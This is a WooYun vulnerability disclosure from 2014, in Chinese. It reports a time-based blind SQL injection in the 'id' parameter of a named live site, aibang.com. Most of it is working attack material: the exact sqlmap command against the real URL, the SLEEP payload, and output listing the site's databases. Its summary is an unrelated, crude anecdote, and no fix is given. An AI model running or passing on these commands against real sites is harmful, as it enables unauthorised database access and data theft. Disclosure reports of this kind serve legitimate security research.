漏洞详情

披露状态:

2014-05-17: 细节已通知厂商并且等待厂商处理中
2014-05-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

上次一美女约我去一风景区爬山,尼玛山还没爬呢,在山脚还没迈一步就说太高了嫌累,要在山底找个酒店歇息。歇NMLGB,娇生惯养。我说你爬不爬,你不爬我爬,于是我丢掉她一个人迅速地登上了山顶,这才解气。

详细说明:

注入点。

sqlmap.py -u "http://www.aibang.com/?area=bizpay&cmd=card&id="



[19:36:09] [INFO] resuming back-end DBMS 'mysql'

[19:36:09] [INFO] testing connection to the target URL

sqlmap identified the following injection points with a total of 0 HTTP(s) reque

sts:

---

Place: GET

Parameter: id

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: area=bizpay&cmd=card&id=' AND SLEEP(5) AND 'FYuk'='FYuk

---

[19:36:09] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.2.3, Apache 2.2.4

back-end DBMS: MySQL 5.0.11

漏洞证明:

D:\sqlmaps>sqlmap.py -u "http://www.aibang.com/

?area=bizpay&cmd=card&id=" --dbs



sqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org



[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program



[*] starting at 19:38:21



[19:38:21] [WARNING] using 'C:\Documents and Settings\90sec\.sqlmap\output' as t

he output directory

[19:38:21] [INFO] resuming back-end DBMS 'mysql'

[19:38:21] [INFO] testing connection to the target URL

sqlmap identified the following injection points with a total of 0 HTTP(s) reque

sts:

---

Place: GET

Parameter: id

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: area=bizpay&cmd=card&id=' AND SLEEP(5) AND 'FYuk'='FYuk

---

[19:38:22] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.2.3, Apache 2.2.4

back-end DBMS: MySQL 5.0.11

[19:38:22] [INFO] fetching database names

[19:38:22] [INFO] fetching number of databases

[19:38:22] [WARNING] time-based comparison requires larger statistical model, pl

ease wait..............................

[19:38:26] [WARNING] it is very important not to stress the network adapter duri

ng usage of time-based payloads to prevent potential errors

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option

'--time-sec')? [Y/n] y

[19:38:43] [INFO] adjusting time delay to 2 seconds due to good response times

3

[19:38:43] [INFO] retrieved: information_schema

[19:41:26] [INFO] retrieved: abpaid

[19:42:15] [INFO] retrieved: test

available databases [3]:

[*] abpaid

[*] information_schema

[*] test

修复方案:

不知道爱帮是否认领。

版权声明:转载请注明来源 Lonely@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-05-17 10:53

厂商回复:

最新状态:

暂无


漏洞评价: